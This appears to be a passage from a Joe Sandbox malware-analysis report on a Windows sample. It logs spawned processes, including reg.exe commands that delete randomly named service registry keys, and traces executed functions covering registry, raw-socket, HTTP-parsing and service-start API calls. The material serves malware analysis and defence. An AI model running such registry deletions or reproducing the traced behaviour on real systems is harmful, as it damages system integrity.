Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7476 -ip 7476
Imagebase:	0x870000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:22:27
Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 8012
Imagebase:	0x870000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:22:49
Start date:	05/08/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff6f1df0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:22:49
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:22:56
Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A0A461yPs /f
Imagebase:	0x550000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:22:56
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:23:15
Start date:	05/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\7361p1CQa /f
Imagebase:	0x550000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:23:15
Start date:	05/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	07:23:52
Start date:	05/08/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff7811d0000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	07:23:52
Start date:	05/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.9%
Total number of Nodes:	1220
Total number of Limit Nodes:	98

Executed Functions

Function 0BB76404 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,0BBD80AC), ref: 0BB7641F
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,0BBD80AC), ref: 0BB7643D
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,0BBD80AC), ref: 0BB7645B
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 0BB76479
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,0BB76508,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 0BB764C2
RegQueryValueExA.ADVAPI32(?,0BB76684,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,0BB76508,?,80000001), ref: 0BB764E0
RegCloseKey.ADVAPI32(?,0BB7650F,00000000,?,?,00000000,0BB76508,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0BB76502
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 0BB7651F
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 0BB7652C
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 0BB76532
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 0BB7655D
lstrcpyn.KERNEL32(?,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 0BB765B2
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 0BB765C2
lstrcpyn.KERNEL32(?,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 0BB765EE
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 0BB765FE
lstrcpyn.KERNEL32(?,?,00000105,?,00000000,00000002,?,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 0BB76628
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,00000105,?,00000000,00000002,?,?,00000105,?,00000000,00000003,?), ref: 0BB76638

Strings

Software\Borland\Delphi\Locales, xrefs: 0BB7646F
Software\Borland\Locales, xrefs: 0BB76433, 0BB76451

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: eeaeabdf24f8ccb9671a335c2987fb48df6397cacef79e2c0a78b6598f179dde
Instruction ID: d8b0527519d4bb009ab26fbb3c2cf079331d7a859cd66a5301822af2968bd18f
Opcode Fuzzy Hash: eeaeabdf24f8ccb9671a335c2987fb48df6397cacef79e2c0a78b6598f179dde
Instruction Fuzzy Hash: 70612B71E8464D7FEB10EAE8CC46FEFB7BC9B08700F4440E1A625F6581D6B8DA448B60

Function 6251E1F0 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 350
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6251E250
select.WS2_32(?,?,?,?,00000000), ref: 6251E28F
recv.WS2_32(?,?,00000001,00000000), ref: 6251E2B9
_strncmp.LIBCMT ref: 6251E320
_swscanf.LIBCMT ref: 6251E353

Part of subcall function 62550F76: __mbsstr_l.LIBCMT ref: 62550F83

_swscanf.LIBCMT ref: 6251E582

Part of subcall function 62550968: _vscan_fn.LIBCMT ref: 6255097F

Strings

Date: , xrefs: 6251E3A5
HTTP/%f %d , xrefs: 6251E347
HTTP/, xrefs: 6251E312
%d %s %d %d:%d:%d GMT, xrefs: 6251E574

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _swscanf$__mbsstr_l_memset_strncmp_vscan_fnrecvselect
String ID: %d %s %d %d:%d:%d GMT$Date: $HTTP/$HTTP/%f %d
API String ID: 2973436612-460920543
Opcode ID: 75368aa94e50975df7595b1c233292140d39543a98691435ed8c2ef1245b59de
Instruction ID: a1efbe6398f9a17063f1d1b9602f7ac6dfd05de653487194665dfe2005e15b73
Opcode Fuzzy Hash: 75368aa94e50975df7595b1c233292140d39543a98691435ed8c2ef1245b59de
Instruction Fuzzy Hash: 73D1927150C7419FE324CF28C8A4BABBBE5BFD9314F408B1DE4A987291DB35A905CB52

Function 6251F3F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6251F41C
WSACreateEvent.WS2_32 ref: 6251F424
GetCurrentProcessId.KERNEL32(?,?,00000000), ref: 6251F42D
WSASocketA.WS2_32(00000002,00000003,00000001,00000000,00000000,00000000), ref: 6251F440
WSAGetLastError.WS2_32(?,?,00000000), ref: 6251F44D
_sprintf.LIBCMT ref: 6251F45E
OutputDebugStringA.KERNEL32(?,?,?,?,?,?,00000000), ref: 6251F46B
WSAEventSelect.WS2_32(00000000,?,00000001), ref: 6251F490
_malloc.LIBCMT ref: 6251F49F

Strings

WSASocket() failed: %d, xrefs: 6251F458

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Event$CreateCurrentDebugErrorLastOutputProcessSelectSocketString_malloc_memset_sprintf
String ID: WSASocket() failed: %d
API String ID: 884985324-4110721735
Opcode ID: 2ec96f2cff1c5176e220e7be911caae4bfca1cd07af1b701a6e038194507515c
Instruction ID: 3fda08ba703813ed41be85e339572dbd46888ad7cda7100ec172b21942215f12
Opcode Fuzzy Hash: 2ec96f2cff1c5176e220e7be911caae4bfca1cd07af1b701a6e038194507515c
Instruction Fuzzy Hash: 8B21D8B1904310AFEB30DF74C895A6AB7E4BF58704F404D1DFA9A82280EBB5A9448B42

Function 0BB7650F Relevance: 15.1, APIs: 10, Instructions: 101
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 0BB7651F
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 0BB7652C
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 0BB76532
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 0BB7655D
lstrcpyn.KERNEL32(?,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 0BB765B2
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 0BB765C2
lstrcpyn.KERNEL32(?,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 0BB765EE
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 0BB765FE
lstrcpyn.KERNEL32(?,?,00000105,?,00000000,00000002,?,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 0BB76628
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,00000105,?,00000000,00000002,?,?,00000105,?,00000000,00000003,?), ref: 0BB76638

Strings

Software\Borland\Delphi\Locales, xrefs: 0BB7646F
Software\Borland\Locales, xrefs: 0BB76433, 0BB76451

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 05b0b542523610251de946db635f4321980fe13030569db33167d055695d45a6
Instruction ID: c60e17ba88fea1ecedc3e2c661faab9413a5cf23bc9d8954f9fe2f90527a9ae9
Opcode Fuzzy Hash: 05b0b542523610251de946db635f4321980fe13030569db33167d055695d45a6
Instruction Fuzzy Hash: F0316E71E8464D7FEF15EAE8C886FEFB7BD9B08300F4440E1A155F2181D6B8DA448B60

Function 62518BE0 Relevance: 12.1, APIs: 8, Instructions: 77serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.SECHOST(00000000,00000000,000F003F,?,?,?,625190FA), ref: 62518C00
OpenServiceA.ADVAPI32(00000000,?,000F01FF,?,?,?,625190FA), ref: 62518C2F
StartServiceA.ADVAPI32(00000000,00000000,00000000,?,000F01FF,?,?,?,625190FA), ref: 62518C40
GetLastError.KERNEL32(?,000F01FF,?,?,?,625190FA), ref: 62518C4A
CloseServiceHandle.ADVAPI32(00000000,?,000F01FF,?,?,?,625190FA), ref: 62518C59

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Service$Open$CloseErrorHandleLastManagerStart
String ID:
API String ID: 4248622755-0
Opcode ID: d73aed4dff6f0a1e90a2926843abc5576cbfefd2c51e8b349d7d11c083263240
Instruction ID: 2c1ce7af09e0b8236a968528194977fc95b8a84c6f32452ea666c00a85226530
Opcode Fuzzy Hash: d73aed4dff6f0a1e90a2926843abc5576cbfefd2c51e8b349d7d11c083263240
Instruction Fuzzy Hash: 5B0108373C363467EA30297D5C5DBFA3799DBC7A76F100167FA00DB1408E46C40961A6

Function 6251B440 Relevance: 9.4, APIs: 1, Strings: 5, Instructions: 406COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,62582C98), ref: 6251B4EA

Strings

v, xrefs: 6251B472
c, xrefs: 6251B477
%04d-%02d-%02d, xrefs: 6251B577
%02d_%02d, xrefs: 6251B590
8, xrefs: 6251B47C

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: %02d_%02d$%04d-%02d-%02d$8$c$v
API String ID: 32694325-3102721369
Opcode ID: c8ec6e7364eba182ecb6207ff6281de7cc9c42cca2078e199c50e2394420139c
Instruction ID: 1ed333206209f3289e251a5934046da21cb70702f77ba5e9c8d71ecb5c621fd9
Opcode Fuzzy Hash: c8ec6e7364eba182ecb6207ff6281de7cc9c42cca2078e199c50e2394420139c
Instruction Fuzzy Hash: 58E102711083418FD310DF78C8A4A5BBBE5EFDA324F148A5DE4968B2A1DB74D909CB92

Function 625405F9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

_strcpy_s.LIBCMT ref: 6254062B

Part of subcall function 62552DCA: __getptd_noexit.LIBCMT ref: 62552DCA

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 62540643
__snwprintf_s.LIBCMT ref: 62540678
LoadLibraryA.KERNEL32(?), ref: 625406B3

Strings

LOC, xrefs: 62540623

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: InfoLibraryLoadLocale__getptd_noexit__snwprintf_s_strcpy_s
String ID: LOC
API String ID: 1155623865-519433814
Opcode ID: 3c3e299d65f72dffe3f66917a6d9ed84e2b5ce8beea1dfa7be5a8f58d694b5c9
Instruction ID: da9efb3dedac4054864da1b48b81a2d0e30224bd232140d762079eea59d536e3
Opcode Fuzzy Hash: 3c3e299d65f72dffe3f66917a6d9ed84e2b5ce8beea1dfa7be5a8f58d694b5c9
Instruction Fuzzy Hash: 8B21EB70540228AADB35AE74CC65FE9776C9B92318F201863E605E7090DF748E458BA1

Function 0BB7BA3C Relevance: 6.0, APIs: 4, Instructions: 37timefileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 0BB7BA57
FindClose.KERNEL32(00000000,00000000,?), ref: 0BB7BA62
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0BB7BA7B
FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 0BB7BA8C

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

